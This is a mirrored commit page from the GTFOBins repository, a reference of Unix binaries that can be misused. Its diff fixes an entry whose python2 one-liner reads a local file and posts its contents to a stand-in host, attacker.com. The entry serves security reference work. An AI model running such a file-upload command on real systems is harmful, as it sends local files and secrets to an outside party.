mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 22:40:10 +01:00
Fix python2 upload
This commit is contained in:
parent
689e00461d
commit
d3659b5cc6
@ -13,7 +13,9 @@ functions:
|
|||||||
code: |
|
code: |
|
||||||
export URL=http://attacker.com/
|
export URL=http://attacker.com/
|
||||||
export LFILE=file_to_send
|
export LFILE=file_to_send
|
||||||
python2 -c 'import urllib as u,urllib2 as u2,os.environ as e; u2.urlopen(u2.Request(e["URL"],u.urlencode({"d":open(e["LFILE"]).read()})))'
|
python2 -c 'import urllib as u,urllib2 as u2;
|
||||||
|
from os import environ as e;
|
||||||
|
u2.urlopen(u2.Request(e["URL"],u.urlencode({"d":open(e["LFILE"]).read()})))'
|
||||||
- description: Serve files in the local folder running an HTTP server.
|
- description: Serve files in the local folder running an HTTP server.
|
||||||
code: |
|
code: |
|
||||||
export LPORT=8888
|
export LPORT=8888
|
||||||
|
Loading…
Reference in New Issue
Block a user